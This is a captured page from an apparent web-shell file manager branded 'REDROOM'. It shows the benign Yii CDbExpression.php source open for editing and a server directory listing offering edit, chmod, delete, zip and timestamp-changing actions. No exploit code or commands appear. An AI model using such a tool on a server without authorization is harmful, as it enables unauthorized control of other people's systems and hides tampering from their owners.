REDROOM
PHP 8.1.33
Path:
Logout
Edit File
Size: 1.72 KB
Close
/home/jambtst2015/www/framework/db/schema/CDbExpression.php
Text
Base64
<?php /** * CDbExpression class file. * * @author Qiang Xue <qiang.xue@gmail.com> * @link http://www.yiiframework.com/ * @copyright 2008-2013 Yii Software LLC * @license http://www.yiiframework.com/license/ */ /** * CDbExpression represents a DB expression that does not need escaping. * CDbExpression is mainly used in {@link CActiveRecord} as attribute values. * When inserting or updating a {@link CActiveRecord}, attribute values of * type CDbExpression will be directly put into the corresponding SQL statement * without escaping. A typical usage is that an attribute is set with 'NOW()' * expression so that saving the record would fill the corresponding column * with the current DB server timestamp. * * Starting from version 1.1.1, one can also specify parameters to be bound * for the expression. For example, if the expression is 'LOWER(:value)', then * one can set {@link params} to be <code>array(':value'=>$value)</code>. * * @author Qiang Xue <qiang.xue@gmail.com> * @package system.db.schema */ class CDbExpression extends CComponent { /** * @var string the DB expression */ public $expression; /** * @var array list of parameters that should be bound for this expression. * The keys are placeholders appearing in {@link expression}, while the values * are the corresponding parameter values. * @since 1.1.1 */ public $params=array(); /** * Constructor. * @param string $expression the DB expression * @param array $params parameters */ public function __construct($expression,$params=array()) { $this->expression=$expression; $this->params=$params; } /** * String magic method * @return string the DB expression */ public function __toString() { return $this->expression; } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 5 × Files: 7
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
mssql
DIR
-
drwxr-xr-x
2025-10-12 12:57:29
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
mysql
DIR
-
drwxr-xr-x
2025-10-14 03:19:55
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
oci
DIR
-
drwxr-xr-x
2025-10-09 05:04:28
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
pgsql
DIR
-
drwxr-xr-x
2025-10-11 09:51:13
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
sqlite
DIR
-
drwxr-xr-x
2025-10-08 18:50:54
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
CDbColumnSchema.php
3.88 KB
lrw-r--r--
2024-11-22 17:53:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
CDbCommandBuilder.php
29.61 KB
lrw-r--r--
2024-11-22 17:53:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
CDbCriteria.php
22.58 KB
lrw-r--r--
2024-11-22 17:53:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
CDbExpression.php
1.72 KB
lrw-r--r--
2024-11-22 17:53:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
CDbSchema.php
22.55 KB
lrw-r--r--
2024-11-22 17:53:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
CDbTableSchema.php
2.13 KB
lrw-r--r--
2024-11-22 17:53:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
error_log
36.58 KB
lrw-r--r--
2025-11-04 10:48:19
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).